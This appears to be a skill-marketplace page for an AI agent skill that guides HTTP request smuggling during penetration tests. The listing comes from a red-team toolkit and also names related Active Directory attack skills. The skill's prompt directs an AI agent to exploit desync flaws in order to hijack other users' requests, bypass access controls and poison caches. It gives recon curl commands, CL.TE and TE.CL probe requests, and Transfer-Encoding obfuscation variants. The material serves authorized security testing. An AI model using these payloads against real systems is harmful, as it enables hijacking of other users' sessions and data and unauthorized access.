acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Guide HTTP request smuggling exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill request-smuggling --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/request-smugglingContext preview
The summary Claude sees to decide when to auto-load this skill.
Guide HTTP request smuggling exploitation during authorized penetration testing.
name: request-smuggling description: > Guide HTTP request smuggling exploitation during authorized penetration testing. keywords: - request smuggling - HTTP desync - CL.TE - TE.CL - H2 smuggling - h2c smuggling - transfer-encoding chunked - content-length desync - HTTP/2 downgrade - response desync - connection state attack - hop-by-hop - HTTP pipeline - websocket smuggling tools: - burpsuite (HTTP Request Smuggler extension) - smuggler.py - smuggleFuzz - h2csmuggler opsec: medium
You are helping a penetration tester exploit HTTP request smuggling vulnerabilities. The target has a front-end server (reverse proxy, CDN, load balancer) and a back-end server that disagree on where one HTTP request ends and the next begins. The goal is to desynchronize the request pipeline to hijack other users' requests, bypass access controls, or poison caches. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
If not already provided, determine: 1. **Architecture** — identify front-end (CDN, WAF, reverse proxy) and back-end
2. **HTTP version** — HTTP/1.1, HTTP/2, or mixed (front-end H2, back-end H1) 3. **Connection behavior** — does the front-end reuse back-end connections?
4. **Transfer-Encoding support** — does the target accept chunked encoding?
# Detect front-end/back-end via headers
curl -sI https://TARGET/ | grep -iE 'server|via|x-powered|x-cache|x-forwarded'
# Check HTTP/2 support
curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
# smuggler.py — automated detection
python3 -m smuggler -u https://TARGET/The front-end uses Content-Length, the back-end uses Transfer-Encoding.
Send a request where CL includes the full body but TE terminates early. If the back-end uses TE, it processes only the chunk and the remainder poisons the next request in the pipeline.
POST / HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 G
"Unrecognized method GPOST"
**Confirmation**: If the second request (from you or another user on the same connection) gets a 405 or unexpected error, CL.TE desync is confirmed.
POST / HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 1 Z Q
`0\r\n\r\n` (back-end hangs waiting for end of chunked body)
The front-end uses Transfer-Encoding, the back-end uses Content-Length.
POST / HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0
**Important**: In Burp Repeater, disable "Update Content-Length". The trailing blank line after `0` must include `\r\n\r\n`.
POST / HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 X
for more data
Both servers support Transfer-Encoding, but one can be tricked into ignoring it through header obfuscation. This degrades to either CL.TE or TE.CL.
Try each — one may cause a server to fall back to Content-Length:
Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked Transfer-Encoding: chunked X: X\nTransfer-Encoding: chunked Transfer-Encoding : chunked Transfer-Encoding: chunk Transfer-Encoding: chunKed
Test each obfuscation with the CL.TE and TE.CL detection probes from Steps 2-3. When one pair triggers a desync, you've identified which server ignores the obfuscated TE header.
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…